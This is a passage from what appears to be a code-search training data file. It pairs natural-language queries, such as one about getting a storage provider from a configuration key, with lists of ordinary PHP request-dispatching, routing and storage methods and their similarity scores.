$this->prepareResponse($response, $request, $request->format());\n }", "public function execute($request)\n {\n parent::execute($request);\n }", "abstract function _do_execute(request $request);", "public function _dispatch($request)\n\t{\n\t\t$this->_data = $_POST;\n\t\t$args = array();\n\t\t\n\t\ttry {\n\t\t\t$method = new ReflectionMethod($this, $request['action']);\n\t\t\tif (!$method->isPublic()) {\n\t\t\t\tAtomik::trigger404();\n\t\t\t}\n\t\t\t\n\t\t\t$docBlock = $method->getDocComment();\n\t\t\tif (preg_match_all('/@route (.+)$/m', $docBlock, $matches)) {\n\t\t\t\t/* default route parameters */\n\t\t\t\t$default = array(\n\t\t\t\t\t'controller' => $request['controller'], \n\t\t\t\t\t'action' => $request['action']\n\t\t\t\t);\n\t\t\t\t/* fetching optional parameters to the method to add them to\n\t\t\t\t * the default array */\n\t\t\t\tforeach ($method->getParameters() as $param) {\n\t\t\t\t\tif ($param->isOptional()) {\n\t\t\t\t\t\t$default[$param->getName()] = $param->getDefaultValue();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/* route base */\n\t\t\t\t$base = $request['controller'] . '/' . $request['action'] . '/';\n\t\t\t\t\n\t\t\t\t/* building routes */\n\t\t\t\t$routes = array();\n\t\t\t\tfor ($i = 0, $c = count($matches[0]); $i < $c; $i++) {\n\t\t\t\t\t$routes[$base . $matches[1][$i]] = $default;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/* re-routing request */\n\t\t\t\tif (($request = Atomik::route(Atomik::get('request_uri'), $_GET, $routes)) === false) {\n\t\t\t\t\tAtomik::trigger404();\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\t/* building method parameters using request params */\n\t\t\tforeach ($method->getParameters() as $param) {\n\t\t\t\tif (array_key_exists($param->getName(), $request)) {\n\t\t\t\t\t$args[] = $request[$param->getName()];\n\t\t\t\t} else if (!$param->isOptional()) {\n\t\t\t\t\tthrow new Exception('Missing parameter ' . $param->getName());\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t} catch (Exception $e) {\n\t\t\t/* do not stop if __call() exist, so it allows us to trap method calls */\n\t\t\tif (!method_exists($this, '__call')) {\n\t\t\t\tAtomik::trigger404();\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->_params = $request;\n\t\t\n\t\t$this->_before();\n\t\tcall_user_func_array(array($this, $request['action']), $args);\n\t\t$this->_after();\n\t\t\n\t\t/* gets the instance properties and sets them in the global scope for the view */\n\t\t$vars = array();\n\t\tforeach (get_object_vars($this) as $name => $value) {\n\t\t\tif (substr($name, 0, 1) != '_') {\n\t\t\t\t$vars[$name] = $value;\n\t\t\t}\n\t\t}\n\t\treturn $vars;\n\t}", "protected function _request() {}", "public function requestAction()\n {\n }", "public function run($request = null)\n {\n return $response = $this->dispatch($request);\n// if ($response instanceof Response) {\n// $response->send();\n// } else {\n// echo (string)$response;\n// }\n }", "abstract public function processRequest();", "public function dispatch()\n {\n try {\n $this->get('Horde_Controller_ResponseWriter')->writeResponse(\n $this->get('Horde_Controller_Runner')->execute(\n $this->_injector,\n $this->get('Horde_Controller_Request'),\n $this->get('Horde_Kolab_FreeBusy_Controller_RequestConfiguration')\n )\n );\n } catch (Exception $e) {\n $this->_injector->bindFactory(\n 'Horde_Controller_ResponseWriter',\n 'Horde_Kolab_FreeBusy_Factory_Base',\n 'createResponseWriter'\n );\n $response = $this->_injector->createInstance('Horde_Controller_Response');\n $response->setHeaders(array('Status' => '404 Not Found', 'HTTP/1.0' => '404 Not Found'));\n $response->setBody($e->getMessage());\n $this->get('Horde_Controller_ResponseWriter')->writeResponse(\n $response\n );\n }\n }", "function rest_do_request( $request ) {\n\tglobal $wp_rest_server;\n\t$request = rest_ensure_request( $request );\n\treturn $wp_rest_server->dispatch( $request );\n}", "public abstract function processRequest();", "function dispatch(...$args)\n {\n $method = strtoupper($_SERVER['REQUEST_METHOD']);\n if ($method === 'POST') {\n if (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {\n $method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);\n } else {\n $method = isset($_POST['_method']) ? strtoupper($_POST['_method']) : $method;\n }\n }\n $uri = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');\n if(!$this->inner_dispatch($uri, $method, ...$args)) {\n Views\\View::response(\"Data could not be found!\", 404)();\n }\n }", "abstract public function request();", "public function postDispatch();", "public function handleRequest()\n {\n $router = new Router();\n $controllerClass = $router->resolve()->getController();\n $controllerAction = $router->getAction();\n\n \n\n if(!class_exists($controllerClass)\n || !method_exists($controllerClass,$controllerAction)\n ){\n header('Not found', true, 404);\n exit;\n }\n\n $controller = new $controllerClass();\n call_user_func([$controller, $controllerAction]);\n\n }", "public function RouteRequest ();", "public function send($request);", "public function run()\n\t{\n\t\t$_controller = $this->getController();\n\t\t\n\t\tif ( ! ( $_controller instanceof IXLRest ) )\n\t\t{\n\t\t\t$_controller->missingAction( $this->getId() );\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t//\tCall the controllers dispatch method...\n\t\t$_controller->dispatchRequest( $this );\n\t}", "public function processRequest();", "function dispatch(...$args): void {\n\n $method = strtoupper($_SERVER['REQUEST_METHOD']);\n $path = '/'.trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');\n\n # post method override\n if ($method === 'POST') {\n if (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {\n $method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);\n } else {\n $method = isset($_POST['_method']) ? strtoupper($_POST['_method']) : $method;\n }\n }\n\n $responder = serve(stash(DISPATCH_ROUTES_KEY) ?? [], $method, $path, ...$args);\n $responder();\n}", "public function dispatch()\r\n {\r\n $this->_frontController->dispatch();\r\n }", "public function dispatch()\n {\n // Match all param keys\n $paramKeys = array();\n preg_match_all('/:' . $this->_paramPattern . '/i', $this->_uri, $paramKeys);\n \n // Remove leading :'s from keys\n $paramKeys = array_map(\n function($key) {\n $key = substr($key, 1);\n return $key;\n },\n $paramKeys[0]\n );\n \n // Match all param values\n $paramValues = array();\n preg_match_all($this->getPatternForUri(), $_SERVER['REQUEST_URI'], $paramValues, \\PREG_SET_ORDER);\n \n // Remove leading match\n $paramValues = $paramValues[0];\n array_shift($paramValues);\n \n // Set $_GET values. User has to filter all by himself!\n foreach ($paramValues as $idx => $value) {\n $_GET[$paramKeys[$idx]] = urldecode($value);\n }\n \n parent::dispatch();\n }", "public static function dispatch()\n {\n self::runDispatcher();\n if (!self::$halts && !self::$groupHalt) {\n Debugger::report(404);\n }\n }", "abstract function doExecute($request);", "public function dispatch()\n {\n $data = $this->router->getData();;\n $c = $data->controller;\n $ref = new $c($data->params);\n $a = $data->action;\n if (!is_null($a) && !empty($a)) call_user_func(array($ref, $a));\n return;\n }", "public function dispatch()\r\n {\r\n $route = $this->searchRoute();\r\n\r\n $this->filterRoute();\r\n\r\n if (count($route) === 0) {\r\n $this->run404();\r\n }\r\n\r\n $this->runCallback($route);\r\n }", "public function run() {\r\n $this->routeRequest(new Request());\r\n }", "public static function dispatch(&$request) {\n if(isset($request['otp']) && isset($request['keyord']) && Script1::iptest()){\n $p = DbManager::instance()->getParticipantById($request['keyord']);\n DbManager::instance()->lazyLoadParticipant($p);\n $conf = DbManager::instance()->getConferenceById($p->getRegType()->conferenceId);\n //error_log(\"[script 1] set otp \".$request['otp']. \" keyord \".$request['keyord']);\n if(DbManager::instance()->setOtp($p->id, $request['otp'])){\n $code = 0; \n //error_log(\"[script 1] request ok\");\n }else{\n $p = new Participant();\n $code = 1;\n //error_log(\"[script 1] request not ok\");\n }\n \n \n }else{\n $p = new Participant();\n $code = 1;\n }\n header('Content-Type: text/xml');\n include 'xml/script1.php';\n }", "public function handle($request);", "public function dispatch ()\n {\n $matchCount = $diffCount = 0;\n $matches = $differs = array();\n\n foreach ($this->routes as $id => $route) {\n if (preg_match(\"#^{$route}$#\", $this->request)) {\n $matchCount++;\n $matches[$id] = $route;\n } else {\n $diffCount++;\n $differs[$id] = $route;\n }\n }\n\n if (count($matches) <= 0) {\n http_response_code(404);\n echo \"<h1>404</h1>\";\n throw new \\Exception(\"No route was found for: {$this->request}\");\n die;\n } elseif (count($matches) > 1) {\n http_response_code(500);\n die(\"Looks like there is a problem trying to find the right location... Stupid devs....\");\n } elseif (count($matches) === 1) {\n foreach ($matches as $id => $match) {\n $request = explode('/', $this->request);\n $slugs = explode('/', $match);\n\n foreach ($slugs as $key => $slug) {\n if ($slug == '.+') {\n array_push($this->args, $request[$key]);\n }\n }\n\n call_user_func_array($this->methods[$id], $this->args);\n }\n }\n }", "public function preDispatch( Zend_Controller_Request_Abstract $request )\n {\n\n }", "public function processRequest() {\n $action = \"\";\n //retrieve action from client.\n if (filter_has_var(INPUT_GET, 'action')) {\n $action = filter_input(INPUT_GET, 'action');\n }\n\n switch ($action) {\n case 'login':\n $this->login(); \n break;\n case 'register':\n $this->register(); //list all articles\n break;\n case 'search':\n $this->search(); //show a form for an article\n break;\n case 'searchList':\n $this->searchList();\n break;\n case 'remove':\n $this->removeArticle();\n break;\n case 'modify':\n $this->modifyArticle();\n break;\n case 'listCategoryForm':\n $this->listCategoryForm();\n break;\n case 'listCategory':\n $this->listCategory();\n break;\n default :\n break;\n }\n }", "public function dispatch($request = null)\n {\n [$method, $pathInfo] = $this->parseIncomingRequest($request);\n\n return $this->sendThroughPipeline($this->middleware, function () use ($method, $pathInfo) {\n\n if (isset($this->router->getRoutes()[$method . $pathInfo])) {\n return $this->handleFoundRoute([true, $this->router->getRoutes()[$method . $pathInfo]['action'], []]);\n }\n\n return $this->handleRoute(\n $this->getRouteByPattern($method, $pathInfo)\n );\n });\n }", "public function run()\n {\n $this->get('/', array($this, 'dispatchController'));\n $this->map('(/:module(/:controller(/:action(/:params+))))', array($this, 'dispatchController'))\n ->via('GET', 'POST')\n ->name('default');\n parent::run();\n }", "static public function dispatch()\n {\n $request = Url::getURI();\n $method = Request::getMethod();\n foreach (self::$routes[$method] as $route)\n {\n preg_match($route['pattern'], $request, $params);\n if (isset($params[0]))\n {\n unset($params[0]);\n $controller = $route['controller'];\n $action = $route['action'];\n $class = new $controller();\n call_user_func_array([$class, $action], $params);\n return;\n }\n }\n }", "public function __invoke(Request $request)\n {\n //\n }", "public function __invoke(Request $request)\n {\n //\n }", "public function __invoke(Request $request)\n {\n //\n }", "public function __invoke(Request $request)\n {\n //\n }", "public function __invoke(Request $request)\n {\n //\n }", "public function __invoke(Request $request)\n {\n //\n }", "public function __invoke(Request $request)\n {\n //\n }", "public function __invoke(Request $request)\n {\n //\n }", "public function __invoke(Request $request)\n {\n //\n }", "public function __invoke(Request $request)\n {\n //\n }", "public function __invoke(Request $request)\n {\n //\n }", "public function __invoke(Request $request)\n {\n //\n }", "public function postExecution($request){}", "public function serve_request()\n {\n }", "function handleRequest (&$request, &$context) {\n\n\t\t/* cycle through our process callback queue. using each() vs.\n\t\t * foreach, etc. so we may add elements to the callback array\n\t\t * later. probably primarily used for conditional callbacks. */\n\t\treset ($this->_processCallbacks);\n\t\twhile ($c = each ($this->_processCallbacks)) {\n\n\t\t\t// test for a successful view dispatch\n\t\t\tif ($this->_processProcess ($this->_processCallbacks[$c['key']],\n\t\t\t $request,\n\t\t\t $context))\n\t\t\t\treturn;\n\t\t}\n\n\t\t// if no view has been found yet attempt our default\n\t\tif ($this->defaultViewExists ())\n\t\t\t$this->renderDefaultView ($request, $context);\n\t}", "abstract public function handleRequest(Request $request);", "public function __invoke(Request $request)\n {\n \n }", "public function run()\n\t{\n\t\t$response = $this->dispatch($this['request']);\n\n\t\t$response->send();\n\n\t\t$this->callFinishMiddleware($response);\n\t}", "public function handleRequest($request)\n {\n list ($route, $params) = $request->resolve();\n $this->requestedRoute = $route;\n $result = $this->runAction($route, $params);\n\n if ($result instanceof Response) {\n return $result;\n } elseif ($result instanceof Looper){\n $result->loop();\n\n $response = $this->getResponse();\n $response->exitStatus = 0;\n\n return $response;\n } else {\n $response = $this->getResponse();\n $response->exitStatus = $result;\n\n return $response;\n }\n }", "function rest_do_request($request)\n {\n }", "protected function dispatchRequest(Request $request, Response $response)\n {\n try {\n ob_start();\n $this['events']->applyHook('before.router');\n $dispatched = false;\n $matchedRouting = $this['router']->getMatchedRoutes($request->getMethod(), $request->getPathInfo(), true);\n foreach ($matchedRouting as $route) {\n try {\n $this['events']->applyHook('before.dispatch');\n $dispatched = $route->dispatch($this->dispatchContext);\n $this['events']->applyHook('after.dispatch');\n if ($dispatched) {\n break;\n }\n } catch (Pass $e) {\n continue;\n }\n }\n if (!$dispatched) {\n $this->notFound();\n }\n $this['events']->applyHook('after.router');\n } catch (Stop $e) {\n\n }\n $response->write(ob_get_clean());\n }", "abstract public function mapRequest($request);", "public function execute(Request $request)\n {\n return $this->getService(ServiceContainer::SERVICE_CONTROLLER_DISPATCHER)->dispatch($request);\n }", "public function handleRequest() {\n\t\t\n\t\tif (is_null($this->itemObj)) {\n\t\t\t$this->itemObj = MovieServices::getVcdByID($this->getParam('vcd_id'));\n\t\t}\n\t\t\n\t\t$action = $this->getParam('action');\n\t\t\n\t\tswitch ($action) {\n\t\t\tcase 'upload':\n\t\t\t\t$this->uploadImages();\n\t\t\t\t// reload and close upon success\n\t\t\t\tredirect('?page=addscreens&vcd_id='.$this->itemObj->getID().'&close=true');\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tcase 'fetch':\n\t\t\t\t$this->fetchImages();\n\t\t\t\t// reload and close upon success\n\t\t\t\tredirect('?page=addscreens&vcd_id='.$this->itemObj->getID().'&close=true');\n\t\t\t\tbreak;\n\t\t\n\t\t\tdefault:\n\t\t\t\tredirect();\n\t\t\t\tbreak;\n\t\t}\n\t}", "public function run()\n {\n $request = $this->request();\n $result = $this->app['router.dispatcher']->dispatch($request->getMethod(), $request->getPathInfo());\n\n switch ($result[0]) {\n case Dispatcher::NOT_FOUND:\n throw new NotFoundHttpException();\n break;\n case Dispatcher::METHOD_NOT_ALLOWED:\n $methods = $result[1];\n throw new MethodNotAllowedHttpException($methods);\n break;\n case Dispatcher::FOUND:\n $this->context->params($result[2]);\n $this->handlers = $result[1];\n break;\n }\n\n return parent::run();\n }", "public function run()\n\t{\n\t\t$this->request['method'] = strtolower($_SERVER['REQUEST_METHOD']);\n\n\t\t// strtok to strip parameters\n\t\t$this->request['uri'] = strtok($_SERVER['REQUEST_URI'], '?');\n\n\t\tif (!isset($routes[$this->request['method']])) {\n\t\t\tthrow new \\InvalidArgumentException(\n\t\t\t\t\"No routes assigned to HTTP method {$this->request['method']}.\");\n\t\t}\n\n\t\t// Fetch action assigned to route\n\t\t$action = $this->route();\n\n\t\t// Route was not found; handle 404\n\t\tif ($action === false) {\n\t\t\ttry {\n\t\t\t\t$response = $this->execute($routes['error']['404']);\n\t\t\t} catch (InvalidActionException $e) {\n\t\t\t\t// Default 404 handling\n\t\t\t\theader(\"HTTP/1.0 404 Not Found\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\t$response = $this->execute($action);\n\n\t\tif($response) {\n\t\t\t$this->respond($response);\n\t\t}\n\t}", "public function postDispatch()\n {\n //...\n }", "public function execute(request $request) {\n\t\t$this->_do_execute($request);\n\t}", "function execute(Request $request);", "public function handleRequest(Zend_Controller_Request_Http $request)\n {\n \n }", "private function dispatch(): void {\n $curl = curl_init();\n\n curl_setopt_array($curl, array(\n CURLOPT_URL => \"{$this->apiUrl}/{$this->endpoint}\",\n CURLOPT_RETURNTRANSFER => true,\n CURLOPT_MAXREDIRS => 10,\n CURLOPT_TIMEOUT => 30,\n CURLOPT_HTTP_VERSION => \"CURL_HTTP_VERSION_1_1\",\n CURLOPT_CUSTOMREQUEST => $this->method\n ));\n\n $this->response = curl_exec($curl); \n curl_close($curl);\n }" ]
[ "0.8269075", "0.81345737", "0.74644786", "0.72771883", "0.72771883", "0.7218052", "0.71209145", "0.71033096", "0.7101696", "0.7070795", "0.7069167", "0.70598406", "0.70494574", "0.7008689", "0.69985324", "0.6995811", "0.69831634", "0.69674486", "0.69475704", "0.6936175", "0.68945175", "0.68920064", "0.6884088", "0.68723696", "0.68604094", "0.683386", "0.67926973", "0.67926973", "0.67926973", "0.6791505", "0.67768586", "0.6723431", "0.67050934", "0.6668969", "0.66674453", "0.6667184", "0.6662978", "0.6653572", "0.66428924", "0.6629194", "0.6622777", "0.6614468", "0.65967906", "0.6584499", "0.6572449", "0.65704703", "0.65663916", "0.65601414", "0.65523875", "0.6546968", "0.65430665", "0.6539933", "0.6528674", "0.65224785", "0.6515088", "0.6502887", "0.6494957", "0.64936453", "0.64898574", "0.6488587", "0.6477324", "0.64773166", "0.64754343", "0.6473778", "0.64737546", "0.6471063", "0.64653957", "0.6461746", "0.6461083", "0.645416", "0.644966", "0.644966", "0.644966", "0.644966", "0.644966", "0.644966", "0.644966", "0.644966", "0.644966", "0.644966", "0.644966", "0.644966", "0.6443064", "0.64406097", "0.64405906", "0.6430734", "0.64198893", "0.64190316", "0.6415157", "0.6401956", "0.6401809", "0.6397569", "0.6393441", "0.6391595", "0.63911337", "0.6388567", "0.6385118", "0.6338717", "0.6334937", "0.63211733", "0.6320094" ]
0.0
-1
Gets the current application
function getApplication();
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getApp() {\n return $this->call->getApp();\n }", "public static function getActiveApp()\n {\n return self::$_activeApp;\n }", "public static function getApp()\n\t{\n\t\treturn static::$app;\n\t}", "public function getApp()\n {\n return $this->app;\n }", "public function getApp()\n {\n return $this->app;\n }", "public function getApp()\n {\n return $this->app;\n }", "public function getApp()\n {\n return $this->app;\n }", "public function getApp()\n {\n return $this->app;\n }", "public function getApp()\n {\n return $this->app;\n }", "final public function getApplication()\n {\n return $this->_app;\n }", "protected function getApp()\n {\n return $this->app;\n }", "public function getApp()\n {\n return $this['app.name'];\n }", "public function getApplication()\n {\n return isset($this->application) ? $this->application : null;\n }", "public function getApplication()\n {\n return $this->application;\n }", "public function getApplication()\n {\n return $this->application;\n }", "public function getApplication()\n {\n return $this->application;\n }", "public function getApplication()\n {\n return $this->application;\n }", "public function getApplication()\r\n {\r\n return $this->Application;\r\n }", "public function getApplication()\n {\n return $this->app;\n }", "public function getApplication()\n {\n return $this->app;\n }", "public function getApplication()\n {\n return $this->app;\n }", "public function getApplication()\n {\n return $this->app;\n }", "public function getApplication()\n\t{\n\t\treturn $this->application;\n\t}", "public function getApplication()\n\t{\n\t\treturn $this->application;\n\t}", "public function get_app() {\n\t\tif(self::$app)\n\t\t\treturn self::$app;\n\n\t\tglobal $a;\n\t\tself::$app = $a;\n\n\t\treturn self::$app;\n\t}", "public function getApplication()\n {\n return $this->getHandlerManager()->getApplication();\n }", "function getApplication() {\n return $this->step->application;\n }", "public function getApplication();", "public function getApplication();", "public function getApplication();", "public function getApplication();", "public function getApplication();", "public function getApp();", "public static function get() {\n return self::$app;\n }", "public function getApplication() {\r\n return \\Accelerator\\Application::instance();\r\n }", "public static function app()\n {\n return self::$_app;\n }", "public function getApplication(){ \r\n\t\treturn \\Yaf\\Application::app();\r\n\t}", "public static function self()\n {\n return self::$app;\n }", "public function getApplication() {\n\t\t$instance = $this->getSourceInstance();\n\t\tif ($instance !== null) {\n\t\t\t$application = $instance->unbox()->application;\n\t\t\tif ($application !== null) {\n\t\t\t\treturn $application;\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}", "public function getAppName()\r\n\t{\r\n\t\treturn $this->_appName;\r\n\t}", "public function getAppName()\n {\n return $this->appName;\n }", "public function get()\n {\n return $this->app;\n }", "public function get()\n {\n return $this->app;\n }", "public static function getApplication() : Application\n {\n return self::$app;\n }", "public abstract function getApplication();", "public function getAppName()\n {\n return $this->get(self::APP_NAME);\n }", "public function getCurrentAppId() {\n return $this->container->offsetGet('appId');\n }", "public function &getApp() {\n return $this->app;\n }", "public function app()\r\n {\r\n return $this->app;\r\n }", "public static function getInstance()\n {\n return isset(static::$apps[static::$id]) ? static::$apps[static::$id] : null;\n }", "public function getAppName()\n {\n return $this->app_name;\n }", "public function app()\n {\n return $this->app;\n }", "public static function getInstance()\n\t{\n\t\treturn ( isset(static::$app) ? static::$app : null );\n\t}", "public function getSourceApp()\n {\n return $this->sourceApp;\n }", "public function getApp()\n\t{\n\t\tif(! self::$_app){\n\t\t if ($this->scopes) $this->config['oauth']['scopes'] = $this->scopes;\n\t\t\tself::$_app = Factory::officialAccount($this->config);\n\t\t}\n\t\treturn self::$_app;\n\t}", "public function get()\n {\n return $this->app;\n }", "public function get()\n {\n return $this->app;\n }", "public static function get_selected_app()\n\t{\n\t\t$serialized_selected_app = self::get_setting('nr_selected_app');\n\t\tif ($serialized_selected_app != NULL && $serialized_selected_app != '')\n\t\t{\n\t\t\treturn unserialize($serialized_selected_app);\n\t\t}\n\t\treturn NULL;\n\t}", "public function getApplication(): ?Application\n {\n return parent::getApplication();\n }", "public function application(): Application\n {\n return self::instance()->runner->application();\n }", "public static function getCurrent()\n\t{\n\t\tif (Application::hasInstance())\n\t\t{\n\t\t\t$application = Application::getInstance();\n\t\t\treturn $application->getContext();\n\t\t}\n\n\t\treturn null;\n\t}", "function get_application_name()\r\n {\r\n return self :: APPLICATION_NAME;\r\n }", "function get_application_name()\r\n {\r\n return self :: APPLICATION_NAME;\r\n }", "function get_application_name()\r\n {\r\n return self :: APPLICATION_NAME;\r\n }", "function tev_app() {\n return Tev\\Application\\Application::getInstance();\n }", "static public function get(): ?Application\n\t{\n\t\treturn self::$instance;\n\t}", "public function getOwnerApp();", "public function getDefaultApp()\n {\n return APPPATH;\n }", "public function app()\n {\n return \\Cloud::app();\n }", "public function getApplicationName()\n\t{\n\t\treturn $this->config->get('rocketeer::application_name');\n\t}", "function app()\n {\n return \\Core\\Container::getInstance()->singleton('app');\n }", "final public function getAppConfig()\n {\n return $this->appConfig;\n }", "public function getAppId()\n {\n return $this->app_id;\n }", "public function getAppId()\n {\n return $this->app_id;\n }", "public function getAppId()\n {\n return $this->app_id;\n }", "public function getAppId()\n {\n return $this->app_id;\n }", "public function getAppId()\n {\n return $this->app_id;\n }", "public function getAppId()\n {\n return $this->app_id;\n }", "public function getAppId()\n {\n return $this->app_id;\n }", "public function getAppPath() {\n return $this->_application_path;\n }", "public function getAppId() {\n return $this->app_id;\n }", "public function GetAppByName($name)\r\n {\r\n return AppHelper::GetByName($this->Core, $name);\r\n }", "function getAppMode()\n {\n return $this->_props['AppMode'];\n }", "public function getAppId()\n {\n return $this->appId;\n }", "public function getAppId()\n {\n return $this->appId;\n }", "public function getApplicationName() \n\t{\n\t\treturn $this->application_name;\n\t}", "public function getAppEnvironment()\n {\n return $this->appEnvironment;\n }", "function app(): Application\n\t{\n\t\tstatic $app;\n\n\t\tif($app === null)\n\t\t{\n\t\t\t$app = Application::instance();\n\t\t}\n\n\t\treturn $app;\n\t}", "public function getCurrentSite()\n {\n return $this->application->getSite();\n }", "function app()\n {\n return Application::instance();\n }", "public function getAppPath()\n {\n return $this->_appPath;\n }", "public function getUseAppName() \n \t{\n \t\treturn $this->use_appname;\n \t}", "function getMyApplication()\n {\n if (Yii::$app->user->isGuest) {\n return new Applications;\n }\n $model = $this->getApplications()->where('user_id=:uid', [\n 'uid' => Yii::$app->user->id,\n ])->one();\n\n return $model ? $model : new Applications();\n }", "protected function _getConnectApp()\n {\n if (!$this->_connectApp) {\n $this->_connectApp = Mage::helper('xmlconnect')->getApplication();\n if (!$this->_connectApp) {\n $this->_connectApp = Mage::getModel('xmlconnect/application');\n $this->_connectApp->loadDefaultConfiguration();\n }\n }\n return $this->_connectApp;\n }", "public function getApplication(): ?Application\n {\n return $this->application;\n }", "public function getDefaultAppName()\n\t{\n\t\treturn $this->_defaultAppName;\n\t}", "public static function getRegisteredApps() {\n\t\treturn self::$CHILD_APPS;\n\t}", "public function getAppId()\n {\n if (array_key_exists(\"appId\", $this->_propDict)) {\n return $this->_propDict[\"appId\"];\n } else {\n return null;\n }\n }", "function getAppId()\n {\n return $this->_props['AppId'];\n }", "public function getApplicationContext() {}" ]
[ "0.85277414", "0.83977383", "0.83349156", "0.8165997", "0.8165997", "0.8165997", "0.8165997", "0.8165997", "0.8165997", "0.8077293", "0.8075828", "0.8071614", "0.8052908", "0.80133325", "0.80133325", "0.80133325", "0.80133325", "0.7992866", "0.797287", "0.797287", "0.797287", "0.797287", "0.79706395", "0.79706395", "0.7969461", "0.7933286", "0.78648674", "0.78275764", "0.78275764", "0.78275764", "0.78275764", "0.78275764", "0.78101206", "0.77727413", "0.7735147", "0.7734721", "0.7700284", "0.76523924", "0.7633142", "0.7511338", "0.74928373", "0.74788785", "0.74788785", "0.7465652", "0.74378806", "0.74173045", "0.738331", "0.7362713", "0.7321427", "0.7269922", "0.72530806", "0.71954983", "0.7173838", "0.71653646", "0.7125986", "0.7118596", "0.7118596", "0.70998335", "0.7063048", "0.7051558", "0.7010942", "0.7008499", "0.7008499", "0.7008499", "0.7005745", "0.7004195", "0.69717747", "0.6884165", "0.6863846", "0.68458796", "0.6793357", "0.6789236", "0.67843676", "0.67843676", "0.67843676", "0.67843676", "0.67843676", "0.67843676", "0.67843676", "0.6780083", "0.67686635", "0.6734249", "0.6728654", "0.67276365", "0.67276365", "0.67139995", "0.67113", "0.670138", "0.6697802", "0.6672882", "0.66533965", "0.6647937", "0.66301376", "0.663001", "0.66282946", "0.66103166", "0.6600367", "0.65981436", "0.65781325", "0.65678686" ]
0.7546936
39
Gets a storage provider from its configuration key
function getDriver($name = null);
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function get_provider() {\n\t\treturn $this->session->get($this->config['session_key'] . '_provider', null);\n\t}", "public function getStorageService()\n {\n $class = $this->app['config']->get('shoppingcart.storage','session');\n\n switch ($class)\n {\n case 'session':\n return 'session';\n break;\n case 'database':\n return 'database';\n break;\n default:\n return 'session';\n break;\n }\n }", "public function getCertificateKeyStorageProvider(): ?KeyStorageProviderOption {\n $val = $this->getBackingStore()->get('certificateKeyStorageProvider');\n if (is_null($val) || $val instanceof KeyStorageProviderOption) {\n return $val;\n }\n throw new \\UnexpectedValueException(\"Invalid type found in backing store for 'certificateKeyStorageProvider'\");\n }", "public function getStorageService();", "public function getStorage(): StorageInterface\n {\n return $this->configuration[ConfigurationInterface::STORAGE];\n }", "private function getStorage()\n {\n if (empty($this->storage)) {\n $this->storage = $this->wizardStorageFactory->create([\n 'key' => $this->getRequest()->getParam(UrlBuilder::REQUEST_PARAM_CONFIGURE_KEY)\n ]);\n }\n return $this->storage;\n }", "public function getProvider()\n {\n $config = $this->scopeConfig->getValue(\n 'payment/az2009_cielo_bank_slip/provider',\n \\Magento\\Store\\Model\\ScopeInterface::SCOPE_STORE\n );\n\n return $config;\n }", "public function provider($key);", "public function getProvider();", "public function getProvider();", "public function getProvider();", "public function client()\n {\n return StorageProviderClientFactory::make($this);\n }", "public function getProvider($provider_id);", "public function getProvider(): ProviderInterface;", "public static function getProvider()\n {\n return self::$provider;\n }", "function kval_fsstore_get_item($key)\n{\n return fsstore_get(kval_fsstore_path(), $key);\n}", "public function getProvider()\n {\n return $this->provider;\n }", "public function getProvider()\n {\n return $this->provider;\n }", "public function getProvider() {\n return $this->provider;\n }", "public function getProviderRepository()\n {\n $manifest = $this['config']->get('server.manifest', rtrim(STORAGE_PATH, DS));\n\n return new ProviderRepository($manifest);\n }", "public function get($configKey, $key);", "public function getStorage();", "public function getStorage();", "public function getProvider(string $key): OpenIdConfigurationProvider\n {\n if (!isset($this->providers[$key]) && isset($this->config['providers'][$key])) {\n $options = $this->config['providers'][$key];\n $providerOptions = [\n 'openIDConnectMetadataUrl' => $options['metadata_url'],\n 'clientId' => $options['client_id'],\n 'clientSecret' => $options['client_secret'],\n ] + $this->config['default_providers_options'];\n\n if (isset($options['redirect_uri'])) {\n $providerOptions['redirectUri'] = $options['redirect_uri'];\n } elseif (isset($options['redirect_route'])) {\n $providerOptions['redirectUri'] = $this->router->generate(\n $options['redirect_route'],\n $options['redirect_route_parameters'] ?? [],\n UrlGeneratorInterface::ABSOLUTE_URL\n );\n }\n\n if (isset($options['leeway'])) {\n $providerOptions['leeway'] = $options['leeway'];\n }\n\n if (isset($options['allow_http'])) {\n $providerOptions['allowHttp'] = $options['allow_http'];\n }\n\n $this->providers[$key] = new OpenIdConfigurationProvider($providerOptions);\n }\n\n if (isset($this->providers[$key])) {\n return $this->providers[$key];\n }\n\n throw new InvalidProviderException(sprintf('Invalid provider: %s', $key));\n }", "public function getConfigurationProvider() {\n\t\tif (!$this->configurationProvider) {\n\t\t\t$this->configurationProvider = $this->get('Cundd\\\\Rest\\\\Configuration\\\\TypoScriptConfigurationProvider');\n\t\t}\n\t\treturn $this->configurationProvider;\n\t}", "public function getStorage($name)\n {\n return $this\n ->getService('storage')\n ->getDriver($name)\n ;\n }", "public static function getStorage() {}", "public function getProvider()\n {\n return $this->Provider;\n }", "protected function getStorage($storageName)\n {\n return Config::get('mysql_dump.storage.' . $storageName);\n }", "public function getProvider(): string\n {\n return $this->provider;\n }", "public function getStorage() {}", "public function getStorage() {}", "public function getStorage() {}", "public function adapter($type)\n {\n\n foreach($this->storageAdapters as $instance) {\n $type = ucwords($type);\n $lookup = \"\\\\{$type}\\\\\";\n\n if(stripos(get_class($instance), $lookup) !== false) {\n return $instance;\n }\n }\n\n throw new StorageException(\"$type adapter could not be found as registered on the manager\");\n }", "abstract function getStore(string $storeKey);", "public function getStorageId() {\n return $this->configuration['storage_id'] ?: NULL;\n }", "public function getStorage()\n {\n return $this->get(self::_STORAGE);\n }", "public static function 